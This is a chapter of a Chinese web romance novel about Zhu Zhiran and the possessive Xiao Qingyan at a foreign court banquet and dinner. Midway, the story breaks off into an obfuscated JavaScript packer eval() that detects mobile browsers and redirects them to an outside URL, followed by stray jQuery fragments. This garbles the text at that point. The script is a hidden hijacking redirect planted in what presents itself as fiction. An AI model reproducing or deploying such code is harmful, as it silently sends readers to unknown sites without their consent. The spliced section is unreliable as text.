76. 76

作品:《青山困春里

    祝稚然被迫地缩在他怀里,周身都被他的气息包裹着,这么近的距离,对她,他向来没有边界感,只允许她不靠近他,却从不反省自己是不是离她太近。


    白日跟朝黎说话那样高兴,现在又在她这说些又的没的,他想怎么样?跟一个女人玩笑的同时,还不让她跟别的男子说话?他凭什么?怎么先不管好自己!


    她用力推开他,却没想把他的手臂甩到了旁边,手掌又狠狠地甩到了墙上,伤口变得更严重了,血顺着流下来,她却冒出一句,“你这样怎么洗澡?”


    说完才意识到这句话不对劲,面前的男人轻哼一声,“怎么,你想代劳?”


    “.......”


    她说:“药你自己擦拭,我走了。”


    萧轻砚坐下来,好似无聊地看着她的背影,走到门口,他才开口,“别把心思放在别人身上,你想嫁到这,绝无可能。”


    祝稚然脚步停下来,回头,气笑了,“你应该担心自己,月国公主看上你了,怕是你要在这当他们上门女婿!”


    回到住处,火气还没消散,萧以穗还没走,见她这样摇摇头,“本以为来玩的,结果个个都不对劲。”


    晚上,朝然准备好吃食,喊了他们,或许是觉得白日的行为太尴尬,今晚,他准备好些节目,供他们观赏,来这几日,祝稚然虽然吃了不少东西,但却没觉得什么东西是特别符合她口味的,不是不好,只是这边东西荤腥比较大,又或者太甜,太酸,食物口感并不适中,口味比较极端,爱吃重口的人应该会比较喜欢。她记得,萧轻砚口感很淡,也不知道是不是这几天吃的不好,才会总是莫名其妙地生气。


    席间只有他们几个年轻人,萧彻也在,同萧轻砚坐在一起,这位七皇子话并不太多,同萧以穗像是两个极端,一个闹腾,一个沉静。虽是一个家里出来的孩子,却看不出什么很强烈的亲缘关系,相比萧轻砚,他们两个各自都跟他亲一些。


    她的位置安排跟萧以穗坐在一起,许是还想着躲沈扶按,她搬到了旁边坐着,她这边空着了,朝然这时刚好端了一杯酒过来,坐她旁边,问:“公主是不高兴吗?怎么跑了。”


    祝稚然,“没有,出来玩她最高兴了,去找别人玩了而已。”


    朝然点了点头,“白日谢谢你。”


    他朝她敬了一杯酒,“长这么大,鲜少被人护过。”


    祝稚然看他,他笑:“我有一对闹腾的弟妹。”


    祝稚然明了,举起酒杯朝他碰了碰,他继续说:“只是想不到你这么会射箭,那骑马你也很在行了?”


    “骑马真不太行,我有一匹马,也不算我的,我寻常也都院中骑得多,还从未一个人骑出去。”祝稚然,“来到你们这,看到这些高山美景,这么宽阔的草原,便又想着骑马了。”


    “我们这的姑娘随心自由些。”朝然,“婚嫁之事从不强求。”


    “有想过换一种方式生活吗?”他继续说:“只要你愿意。”


    手里的酒杯微微晃动,换一种方式生活。


    她的脑海中在想这句话,但是视线却移向对面的萧轻砚身上,为何,他的身影离她越来越近,没一会,直接落在她面前。


    她猛地抬头,他不管不顾地坐下,把手掌摊在她面前,“是不是想害我?给我的是什么药?”


    “什么?”


    他声音冷淡,“你说什么?手这么肿,我怎么吃饭?”


    朝然见状,“我找人给你看。”


    “不用。”他抓起祝稚然的手,“二王子还不知道,她就是一位医者吗?”


    祝稚然:“......”


    “您想让我怎么给你看?”


    “喂我吃饭。”他强词夺理道:“什么时候手好了,你才可以不继续。”


    “你这手又不是我弄的?”祝稚然,“是你自己非要伸手抓箭,是你自己活该。”


    “我有把这个算你头上吗?我说的是那日用完你的药就肿了。”他还补充道:“你没忘记,是你甩开我的手掌,才会导致二次受伤吧?”


    “.......”


    朝然,“这样吧,我来喂你。”


    “二王子身份尊贵,我自然受不起。且。”他挑衅地看着祝稚然,“我追究事情,一般会找始作俑者。


    他看向对面,“还请二王子移去对面,酒已经倒好,我们七殿下还有许多话想同您说。”


    作罢,朝然起身,“稚然,我先过去,待会在过来。”


    他走后,面前的人更为过分地坐她身边,祝稚然,“你到底想做什么?”


    “吃饭。”他眼神移到下面的碗筷,“喂。”


    祝稚然,“这是我的碗筷。”


    “我今日不讲究。”他催促,“快。”


    她忍,等回去,她就出去。再也不见他!!


    她夹好菜,喂到他嘴边,刚吃下一口,就被他警告,“再多看他一眼,在这的一日三餐,你都得喂我。”


    祝稚然把碗筷一扔,语气急躁,“你为什么去哪都要欺负我?”


    “我只是想知道,什么时候,才能把你的视线全部放在我身上。”他不再如刚刚那样无理取闹,反倒十分正经,“祝稚然,从小到大,我想要的东西,我都会给自己。正大光明,正常手段,可偏在你身上,我担得起卑鄙,我也不觉得羞愧。我也不知道后面我会做什么样的事情,或者使些什么样的手段。”


    他看向她,“所以你最好乖乖的,不要再生了什么不该有的心思,因为就算有,你也没可能。”


    “所以你可以同不同的女子谈笑风生,我却只能乖乖待在你身边?”祝稚然继续道:“我想嫁薛潺,因为你,我嫁不得,那其他男子呢?也因为你,我嫁不得。那你呢?说我嫁你,那是我想得美?确实是我想得美,因为我给自己选了很多条路,就算直接死掉,都没有想过嫁给你!”


    萧轻砚面色平静,没有一丝怒气,虽然他现在真想掐住她的脖子,看她死到临头,嘴还不会这么硬。


    他从来都不是好人,杀戮了太多人,对人的生命也没有半点敬畏之心。比起父亲身上的戾气有他母亲制止着,他只会更加厉害地暴露出来。他身上所有的谦卑,人性,全都是自己加以克制,在战场上,他根本不像个人,偶尔的善心也不会让他停下动作。就连他自己的生命,他都置之在外。


    可面对她,时常不定性,害怕突然地死掉,比起死亡,他更想跟她在一起,做尽各种事情。哪怕到无聊到发蠢的事情,只要身边有她,就会安心。


    成婚,是一定要成的,心里积压已久的欲望他不想再继续克制了。


    没有生气,是因为,他更加确定了一件事情,既然这样,那就破罐子破摔,他不需要再伪装什么,使劲各种卑劣的手段又如何,反正她心里也是这样想他的,他不在乎。只是想离开他,嫁给别人,她想都别想。


    或许是他的平静,让她不自在,祝稚然反而继续喂他,“你......还吃吗?”


    他眼神一暗,“我想吃的,可不止这些。”


    “.......”


    不想再接话,宴席还没结束,萧以穗觉得烦闷一个人跑出来了,正巧碰到了沈扶按,她刚准备走,就被他喊住,“几日都不愿意见我,这样下去你不累吗?”


    “谁不愿意见你了?我只是.......最近玩得太厉害了,所以想休息休息。”


    他笑:“认识你这么久,是第一次见你这么不爱玩。”


    “...


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828322|159473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ....”


    “总之......我先走了。”萧以穗,“你年纪也不小了,回去之后,也该议门亲事了,得定下来......”


    沈扶按,“你很希望我,同别人成婚?”


    “我有什么希不希望的?那是你的事情,只是作为朋友,好心相劝而已。”


    “我不希望因为我,让你有一点不舒服,若不想见我,就不见,出来只是怕你跑去别的地方。”他低了低头,“我走了,你也早点回去。”


    萧以穗看着他的背影,皱了皱眉头,真是木头脑袋,说走就走了,再待一会,她不就跟他一起走了吗。


    次日,朝然准备带他们一起去月国街边玩一玩,祝稚然白日同他说好,今日他们两个人一起游湖,只是不知为何,白日就没见到萧轻砚,一直到晚上出来,也没见到他人影。


    他们几个到了京内,月国的街景相比黎夏倒是所差无几,买东西的小贩在那吆喝,都是一些当地的特色,只是杂耍比较多。


    朝然说要带她游湖,只是出来也没见到他,只有朝黎,沈扶按,跟萧以穗。


    祝稚然道:“要不你们先去晃晃?我去湖边看看,许是他在那了。”


    朝黎,“行,我带他们两个。”


    萧以穗本想同祝稚然在一起,但知道朝然要带她游湖,倒也识趣的没再去。


    祝稚然一个人走到了湖边,湖边热闹非凡,出来游玩的人大多都是年轻的女子,看了一会,也没见到他人。


    她准备折返回去找朝黎他们,一个人在这,人生地不熟,她也不想继续晃了。


    刚回头,就见到了一个熟悉的身影,她本不想理会,谁知他不管不顾,拉着她就走,她跟着他,“你干什么?”


    萧轻砚把她拉到一个馆子,是一家当地特色的饭馆。祝稚然,“我不饿。”


    他没说话,把她带到一间包间,进去之后,才发现,里面已经做好了一桌菜,不仅如此,还全是黎夏的菜品,而且,全是她爱吃的。


    清蒸桂鱼,清炒菜心,玉米排骨,荷叶鸡.......满满一桌子菜。


    见她不动,他抱着双臂,靠在门上,“等我喂你?”


    祝稚然反应过来,进去坐下,“这家饭馆不是当地特色吗?怎么还做我们那的菜?”


    “有的吃不就行了,管那么多干嘛?”


    “.......”


    她拿起筷子,夹了一口鱼,清新爽口,又吃了一口菜心,能十足地品出菜品本身的味道,来这几日,还是头一次吃到这么舒服的饭菜。


    她没说话,只顾着吃,见她这样,萧轻砚微微笑了一声,但很快又恢复过来,“一张嘴吃不了两个人的饭。”


    “……”


    祝稚然放慢了速度,“是太好吃了,加上白日吃的也少。这家厨子做饭真不错。”


    没一会,店家进来,送了一壶酒,“您的酒忘送进来了。”


    店家见到祝稚然品菜的样子,笑道:“姑娘吃得真香,也不枉费这位公子忙碌了一下午。”


    “嗯?”她抬头,“这位公子?”


    店家指着萧轻砚,“是啊,就他,在我们这厨房忙了一下午呢,您吃的菜心,这没有,是他一大早去南边,走了十几里地采回来的,新鲜着呢,就是我们这的人不太吃这菜。”


    店家继续道:“你们慢吃,有什么需要再吩咐。”


    祝稚然看着一桌子菜,怪不得一大早不见他人,原来跑出去了。


    萧轻砚夹了一口菜,“我自己想吃。”


    看了她一眼,又冒出两个字,“而已。”


    “谢谢。”她道:“你什么时候会做菜的?”


    他给她夹了一个鸡腿,“两个时辰之前。”